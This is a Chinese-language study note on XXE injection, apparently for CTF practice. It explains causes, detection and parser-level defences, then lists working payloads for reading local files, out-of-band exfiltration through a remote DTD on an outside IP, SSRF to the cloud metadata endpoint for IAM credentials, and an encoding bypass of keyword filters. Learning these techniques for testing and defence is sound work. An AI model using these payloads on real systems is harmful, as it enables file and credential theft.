2.XXE利用

1. XXE介绍

Pasted image 20250511175432.png
XXE(XML External Entity Injection) 全称 XML外部实体注入漏洞,既然是注入,说明也是执行了我们的恶意代码。

了解XXE之前应该要先了解一下 XML基础

它产生的原因是:应用程序在解析XML内容时,没有禁止外部实体的加载,导致可加载恶意外部文件;因此如果XML内容可控,那么就可造成以下这些危害。

  1. 文件读取
  2. 命令执行(难)
  3. 内网端口扫描.信息探测
  4. 攻击内网网站
  5. 发起dos攻击.....

1.1. 版本

XXE ( PHP 5.45之后不解析实体 )

<!DOCTYPE 根标签名 SYSTEM "文件名">

DTD实体是用于定义引用文本或字符的快捷方式的变量,可内部声明或外部引用。
约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT 标签名 ANY>

1.2. 如何寻找xxe漏洞

  • 寻找那些接受XML作为输入内容的点
    例如,在以下请求中,用户提交了一个包含输入“TESTINPUT”的搜索表单。
POST /action HTTP/1.1
Host: some.website
[...]
Connection: close

<?xml version="1.0"?>
<searchForm>  
         <from>TESTINPUT</from>
</searchForm>

测试人员可以通过在 DOCTYPE 元素中定义一个外部实体来检测 XML 解析器是否解析外部实体,并检查 from 元素中的值是否被替换(值将在应用程序发送的反射消息中替换,如错误消息、搜索结果)。

<?xml version="1.0"?>
<!DOCTYPE xxeinjection [ <!ENTITY newfrom "VULNERABLE"> ]>
<searchForm>  
         <from>&newfrom;</from>
</searchForm>

1.3. 防御&修复

过滤用户提交的XML数据

关键字:
<!DOCTYPE和<!ENTITY,SYSTEM

使用开发语言提供的禁用外部实体的方法

libxml_disable_entity_loader(true);
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2. XXE常用payload

2.1. php文件读取

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
<creds>
<user>&xxe;</user>
</creds>

或者

<!DOCTYPE xxeinjection [ 
<!ENTITY xxe SYSTEM "file:///flag">
]>
<searchForm>
  <ctfshow>&xxe;</ctfshow>
</searchForm>

2.2. file协议读文件

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
    	<core id="test101">
     		<description>&xxe;</description>
  		</core>
</catalog>

2.3. SVG格式读文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
  		<text x="10" y="20">&file;</text>
</svg>

2.4. 数据外带

<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd">
%remote;
]>

shell.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>">
%int;
%send;

2.5. 进行SSRF

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY newfrom SYSTEM "http://{internal_host}/..."> ]>
<searchForm>
    <from>&newfrom;</from>
</searchForm>

示例 获取EC2 IAM 角色临时凭证

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/metadata/iam/security-credentials/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

2.6. xxe绕过的payload

当只过滤了SYSTEM,PUBLIC等关键字时,可用双重实体编码绕过

<?xml version="1.0"?>

<!DOCTYPE GVI [

    <!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">

    %xml;

即为在xml实体中再定义一次xml,可成功被解析,支持dtd数据外带

<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
      <message>&xxe;</message>
</core>

3. 无回显的XXE

这种情况需要使用参数实体,外部引入DTD
参考 ctfshow-web入门-XXE

4. 例题

5. 参考: